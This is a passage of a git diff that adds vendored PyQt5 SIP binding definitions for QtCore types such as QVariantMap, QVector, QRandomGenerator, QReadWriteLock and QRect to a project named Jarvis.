(!itm) + { + if (PyErr_Occurred()) + { + delete qs; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + _TYPE_ *t = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm, sipType__TYPE_, sipTransferObj, 0, + 0, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qs; + Py_DECREF(iter); + + return 0; + } + + qs->insert(t); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qs; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qvariantmap.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qvariantmap.sip new file mode 100644 index 00000000..4961987b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qvariantmap.sip @@ -0,0 +1,47 @@ +// This is the SIP interface definition for QVariantMap. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QVariantMap /TypeHint="Dict[str, Any]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + return qpycore_fromQVariantMap(*sipCpp); +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QVariantMap *qvm = new QVariantMap; + + if (!qpycore_toQVariantMap(sipPy, *qvm)) + { + delete qvm; + return 0; + } + + *sipCppPtr = qvm; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qvector.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qvector.sip new file mode 100644 index 00000000..b191bbc4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qvector.sip @@ -0,0 +1,648 @@ +// This is the SIP interface definition for the majority of the QVector based +// mapped types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +template<_TYPE_> +%MappedType QVector<_TYPE_> + /TypeHintIn="Iterable[_TYPE_]", TypeHintOut="List[_TYPE_]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + _TYPE_ *t = new _TYPE_(sipCpp->at(i)); + PyObject *tobj = sipConvertFromNewType(t, sipType__TYPE_, + sipTransferObj); + + if (!tobj) + { + delete t; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, tobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector<_TYPE_> *qv = new QVector<_TYPE_>; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int state; + _TYPE_ *t = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &state, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + + return 0; + } + + qv->append(*t); + + sipReleaseType(t, sipType__TYPE_, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +template<_TYPE_> +%MappedType QVector<_TYPE_ *> + /TypeHintIn="Iterable[_TYPE_]", TypeHintOut="List[_TYPE_]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + int gc_enabled = sipEnableGC(0); + PyObject *l = PyList_New(sipCpp->size()); + + if (l) + { + for (int i = 0; i < sipCpp->size(); ++i) + { + _TYPE_ *t = sipCpp->at(i); + + // The explicit (void *) cast allows _TYPE_ to be const. + PyObject *tobj = sipConvertFromNewType((void *)t, sipType__TYPE_, + sipTransferObj); + + if (!tobj) + { + Py_DECREF(l); + l = 0; + + break; + } + + PyList_SetItem(l, i, tobj); + } + } + + sipEnableGC(gc_enabled); + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector<_TYPE_ *> *qv = new QVector<_TYPE_ *>; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + _TYPE_ *t = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm, sipType__TYPE_, sipTransferObj, 0, + 0, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + + return 0; + } + + qv->append(t); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +template +%MappedType QVector > + /TypeHintIn="Iterable[Tuple[float, _TYPE_]]", + TypeHintOut="List[Tuple[float, _TYPE_]]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + const QPair &p = sipCpp->at(i); + _TYPE_ *s2 = new _TYPE_(p.second); + PyObject *pobj = sipBuildResult(NULL, "(dN)", (double)p.first, s2, + sipType__TYPE_, sipTransferObj); + + if (!pobj) + { + delete s2; + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector > *qv = new QVector >; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *seq = PyIter_Next(iter); + + if (!seq) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + Py_ssize_t sub_len; + + if (PySequence_Check(seq) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(seq) +#endif + && !PyUnicode_Check(seq)) + sub_len = PySequence_Size(seq); + else + sub_len = -1; + + if (sub_len != 2) + { + if (sub_len < 0) + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but a 2 element non-string sequence is expected", + i, sipPyTypeName(Py_TYPE(seq))); + else + PyErr_Format(PyExc_TypeError, + "index %zd is a sequence of %zd sub-elements but 2 sub-elements are expected", + i, sub_len); + + Py_DECREF(seq); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + PyObject *itm1 = PySequence_GetItem(seq, 0); + + if (!itm1) + { + Py_DECREF(seq); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + PyErr_Clear(); + qreal s1 = PyFloat_AsDouble(itm1); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "the first sub-element of index %zd has type '%s' but 'float' is expected", + i, sipPyTypeName(Py_TYPE(itm1))); + + Py_DECREF(itm1); + Py_DECREF(seq); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + PyObject *itm2 = PySequence_GetItem(seq, 1); + + if (!itm2) + { + Py_DECREF(itm1); + Py_DECREF(seq); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + int state2; + _TYPE_ *s2 = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm2, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &state2, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "the second sub-element of index %zd has type '%s' but '_TYPE_' is expected", + i, sipPyTypeName(Py_TYPE(itm2))); + + Py_DECREF(itm2); + Py_DECREF(itm1); + Py_DECREF(seq); + delete qv; + Py_DECREF(iter); + + return 0; + } + + qv->append(QPair(s1, *s2)); + + sipReleaseType(s2, sipType__TYPE_, state2); + Py_DECREF(itm2); + Py_DECREF(itm1); + Py_DECREF(seq); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QVector + /TypeHintIn="Iterable[int]", TypeHintOut="List[int]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *pobj = SIPLong_FromLong(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector *qv = new QVector; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int val = sipLong_AsInt(itm); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + + +%If (Qt_5_12_0 -) + +%MappedType QVector + /TypeHintIn="Iterable[int]", TypeHintOut="List[int]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *pobj = SIPLong_FromLong(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QVector *qv = new QVector; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + quint16 val = sipLong_AsUnsignedShort(itm); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qv; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + qv->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qv; + + return sipGetState(sipTransferObj); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_virtual_error_handler.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_virtual_error_handler.sip new file mode 100644 index 00000000..adcac504 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_virtual_error_handler.sip @@ -0,0 +1,23 @@ +// This is the implementation of the PyQt-specific virtual error handler. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%VirtualErrorHandler PyQt5 + pyqt5_err_print(); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrandom.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrandom.sip new file mode 100644 index 00000000..b13b637e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrandom.sip @@ -0,0 +1,57 @@ +// qrandom.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_10_0 -) + +class QRandomGenerator +{ +%TypeHeaderCode +#include +%End + +public: + QRandomGenerator(quint32 seed = 1); + QRandomGenerator(const QRandomGenerator &other); + quint32 generate(); + quint64 generate64(); + double generateDouble(); + double bounded(double highest /Constrained/); + quint32 bounded(quint32 highest); + int bounded(int lowest, int highest); + typedef quint32 result_type; + QRandomGenerator::result_type operator()(); + void seed(quint32 seed = 1); + void discard(unsigned long long z); + static QRandomGenerator::result_type min(); + static QRandomGenerator::result_type max(); + static QRandomGenerator *system(); + static QRandomGenerator *global() /PyName=global_/; + static QRandomGenerator securelySeeded(); +}; + +%End +%If (Qt_5_10_0 -) +bool operator==(const QRandomGenerator &rng1, const QRandomGenerator &rng2); +%End +%If (Qt_5_10_0 -) +bool operator!=(const QRandomGenerator &rng1, const QRandomGenerator &rng2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qreadwritelock.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qreadwritelock.sip new file mode 100644 index 00000000..8c8b40e0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qreadwritelock.sip @@ -0,0 +1,104 @@ +// qreadwritelock.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QReadWriteLock +{ +%TypeHeaderCode +#include +%End + +public: + enum RecursionMode + { + NonRecursive, + Recursive, + }; + + explicit QReadWriteLock(QReadWriteLock::RecursionMode recursionMode = QReadWriteLock::NonRecursive); + ~QReadWriteLock(); + void lockForRead() /ReleaseGIL/; + bool tryLockForRead(); + bool tryLockForRead(int timeout) /ReleaseGIL/; + void lockForWrite() /ReleaseGIL/; + bool tryLockForWrite(); + bool tryLockForWrite(int timeout) /ReleaseGIL/; + void unlock(); + +private: + QReadWriteLock(const QReadWriteLock &); +}; + +class QReadLocker +{ +%TypeHeaderCode +#include +%End + +public: + QReadLocker(QReadWriteLock *areadWriteLock) /ReleaseGIL/; + ~QReadLocker(); + void unlock(); + void relock() /ReleaseGIL/; + QReadWriteLock *readWriteLock() const; + SIP_PYOBJECT __enter__(); +%MethodCode + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + sipCpp->unlock(); +%End + +private: + QReadLocker(const QReadLocker &); +}; + +class QWriteLocker +{ +%TypeHeaderCode +#include +%End + +public: + QWriteLocker(QReadWriteLock *areadWriteLock) /ReleaseGIL/; + ~QWriteLocker(); + void unlock(); + void relock() /ReleaseGIL/; + QReadWriteLock *readWriteLock() const; + SIP_PYOBJECT __enter__(); +%MethodCode + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + sipCpp->unlock(); +%End + +private: + QWriteLocker(const QWriteLocker &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrect.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrect.sip new file mode 100644 index 00000000..4647176d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qrect.sip @@ -0,0 +1,336 @@ +// qrect.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QRect +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"iiii", sipCpp->x(), sipCpp->y(), sipCpp->width(), sipCpp->height()); +%End + +public: + QRect(); + QRect normalized() const; + void moveCenter(const QPoint &p); + QRect operator|(const QRect &r) const; + QRect operator&(const QRect &r) const; + bool contains(const QPoint &point, bool proper = false) const; + int __contains__(const QPoint &p) const; +%MethodCode + sipRes = sipCpp->contains(*a0); +%End + + bool contains(const QRect &rectangle, bool proper = false) const; + int __contains__(const QRect &r) const; +%MethodCode + sipRes = sipCpp->contains(*a0); +%End + + bool intersects(const QRect &r) const; + QRect(int aleft, int atop, int awidth, int aheight); + QRect(const QPoint &atopLeft, const QPoint &abottomRight); + QRect(const QPoint &atopLeft, const QSize &asize); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QRect()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QRect()"); + #endif + } + else + { + sipRes = + #if PY_MAJOR_VERSION >= 3 + PyUnicode_FromFormat + #else + PyString_FromFormat + #endif + ("PyQt5.QtCore.QRect(%i, %i, %i, %i)", sipCpp->left(), + sipCpp->top(), sipCpp->width(), sipCpp->height()); + } +%End + + bool isNull() const; + bool isEmpty() const; + bool isValid() const; + int __bool__() const; +%MethodCode + sipRes = sipCpp->isValid(); +%End + + int left() const; + int top() const; + int right() const; + int bottom() const; + int x() const; + int y() const; + void setLeft(int pos); + void setTop(int pos); + void setRight(int pos); + void setBottom(int pos); + void setTopLeft(const QPoint &p); + void setBottomRight(const QPoint &p); + void setTopRight(const QPoint &p); + void setBottomLeft(const QPoint &p); + void setX(int ax); + void setY(int ay); + QPoint topLeft() const; + QPoint bottomRight() const; + QPoint topRight() const; + QPoint bottomLeft() const; + QPoint center() const; + int width() const; + int height() const; + QSize size() const; + void translate(int dx, int dy); + void translate(const QPoint &p); + QRect translated(int dx, int dy) const; + QRect translated(const QPoint &p) const; + void moveTo(int ax, int ay); + void moveTo(const QPoint &p); + void moveLeft(int pos); + void moveTop(int pos); + void moveRight(int pos); + void moveBottom(int pos); + void moveTopLeft(const QPoint &p); + void moveBottomRight(const QPoint &p); + void moveTopRight(const QPoint &p); + void moveBottomLeft(const QPoint &p); + void getRect(int *ax, int *ay, int *aw, int *ah) const; + void setRect(int ax, int ay, int aw, int ah); + void getCoords(int *xp1, int *yp1, int *xp2, int *yp2) const; + void setCoords(int xp1, int yp1, int xp2, int yp2); + QRect adjusted(int xp1, int yp1, int xp2, int yp2) const; + void adjust(int dx1, int dy1, int dx2, int dy2); + void setWidth(int w); + void setHeight(int h); + void setSize(const QSize &s); + bool contains(int ax, int ay, bool aproper) const; + bool contains(int ax, int ay) const; + QRect &operator|=(const QRect &r); + QRect &operator&=(const QRect &r); + QRect intersected(const QRect &other) const; + QRect united(const QRect &r) const; +%If (Qt_5_1_0 -) + QRect marginsAdded(const QMargins &margins) const; +%End +%If (Qt_5_1_0 -) + QRect marginsRemoved(const QMargins &margins) const; +%End +%If (Qt_5_1_0 -) + QRect &operator+=(const QMargins &margins); +%End +%If (Qt_5_1_0 -) + QRect &operator-=(const QMargins &margins); +%End +%If (Qt_5_7_0 -) + QRect transposed() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QRect & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QRect & /Constrained/) /ReleaseGIL/; +bool operator==(const QRect &r1, const QRect &r2); +bool operator!=(const QRect &r1, const QRect &r2); + +class QRectF +{ +%TypeHeaderCode +#include +%End + +%PickleCode + sipRes = Py_BuildValue((char *)"dddd", sipCpp->x(), sipCpp->y(), sipCpp->width(), sipCpp->height()); +%End + +public: + QRectF(); + QRectF(const QPointF &atopLeft, const QSizeF &asize); + QRectF(const QPointF &atopLeft, const QPointF &abottomRight); + QRectF(qreal aleft, qreal atop, qreal awidth, qreal aheight); + QRectF(const QRect &r); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QRectF()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QRectF()"); + #endif + } + else + { + PyObject *l = PyFloat_FromDouble(sipCpp->left()); + PyObject *t = PyFloat_FromDouble(sipCpp->top()); + PyObject *w = PyFloat_FromDouble(sipCpp->width()); + PyObject *h = PyFloat_FromDouble(sipCpp->height()); + + if (l && t && w && h) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QRectF(%R, %R, %R, %R)", l, + t, w, h); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QRectF("); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(l)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(t)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(w)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + PyString_ConcatAndDel(&sipRes, PyObject_Repr(h)); + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } + + Py_XDECREF(l); + Py_XDECREF(t); + Py_XDECREF(w); + Py_XDECREF(h); + } +%End + + QRectF normalized() const; + qreal left() const; + qreal top() const; + qreal right() const; + qreal bottom() const; + void setX(qreal pos); + void setY(qreal pos); + QPointF topLeft() const; + QPointF bottomRight() const; + QPointF topRight() const; + QPointF bottomLeft() const; + QRectF operator|(const QRectF &r) const; + QRectF operator&(const QRectF &r) const; + bool contains(const QPointF &p) const; + int __contains__(const QPointF &p) const; +%MethodCode + sipRes = sipCpp->contains(*a0); +%End + + bool contains(const QRectF &r) const; + int __contains__(const QRectF &r) const; +%MethodCode + sipRes = sipCpp->contains(*a0); +%End + + bool intersects(const QRectF &r) const; + bool isNull() const; + bool isEmpty() const; + bool isValid() const; + int __bool__() const; +%MethodCode + sipRes = sipCpp->isValid(); +%End + + qreal x() const; + qreal y() const; + void setLeft(qreal pos); + void setRight(qreal pos); + void setTop(qreal pos); + void setBottom(qreal pos); + void setTopLeft(const QPointF &p); + void setTopRight(const QPointF &p); + void setBottomLeft(const QPointF &p); + void setBottomRight(const QPointF &p); + QPointF center() const; + void moveLeft(qreal pos); + void moveTop(qreal pos); + void moveRight(qreal pos); + void moveBottom(qreal pos); + void moveTopLeft(const QPointF &p); + void moveTopRight(const QPointF &p); + void moveBottomLeft(const QPointF &p); + void moveBottomRight(const QPointF &p); + void moveCenter(const QPointF &p); + qreal width() const; + qreal height() const; + QSizeF size() const; + void translate(qreal dx, qreal dy); + void translate(const QPointF &p); + void moveTo(qreal ax, qreal ay); + void moveTo(const QPointF &p); + QRectF translated(qreal dx, qreal dy) const; + QRectF translated(const QPointF &p) const; + void getRect(qreal *ax, qreal *ay, qreal *aaw, qreal *aah) const; + void setRect(qreal ax, qreal ay, qreal aaw, qreal aah); + void getCoords(qreal *xp1, qreal *yp1, qreal *xp2, qreal *yp2) const; + void setCoords(qreal xp1, qreal yp1, qreal xp2, qreal yp2); + void adjust(qreal xp1, qreal yp1, qreal xp2, qreal yp2); + QRectF adjusted(qreal xp1, qreal yp1, qreal xp2, qreal yp2) const; + void setWidth(qreal aw); + void setHeight(qreal ah); + void setSize(const QSizeF &s); + bool contains(qreal ax, qreal ay) const; + QRectF &operator|=(const QRectF &r); + QRectF &operator&=(const QRectF &r); + QRectF intersected(const QRectF &r) const; + QRectF united(const QRectF &r) const; + QRect toAlignedRect() const; + QRect toRect() const; +%If (Qt_5_3_0 -) + QRectF marginsAdded(const QMarginsF &margins) const; +%End +%If (Qt_5_3_0 -) + QRectF marginsRemoved(const QMarginsF &margins) const; +%End +%If (Qt_5_3_0 -) + QRectF &operator+=(const QMarginsF &margins); +%End +%If (Qt_5_3_0 -) + QRectF &operator-=(const QMarginsF &margins); +%End +%If (Qt_5_7_0 -) + QRectF transposed() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QRectF & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QRectF & /Constrained/) /ReleaseGIL/; +bool operator==(const QRectF &r1, const QRectF &r2); +bool operator!=(const QRectF &r1, const QRectF &r2); +%If (Qt_5_3_0 -) +QRect operator+(const QRect &rectangle, const QMargins &margins); +%End +%If (Qt_5_3_0 -) +QRect operator+(const QMargins &margins, const QRect &rectangle); +%End +%If (Qt_5_3_0 -) +QRect operator-(const QRect &lhs, const QMargins &rhs); +%End +%If (Qt_5_3_0 -) +QRectF operator+(const QRectF &lhs, const QMarginsF &rhs); +%End +%If (Qt_5_3_0 -) +QRectF operator+(const QMarginsF &lhs, const QRectF &rhs); +%End +%If (Qt_5_3_0 -) +QRectF operator-(const QRectF &lhs, const QMarginsF &rhs); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qregexp.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qregexp.sip new file mode 100644 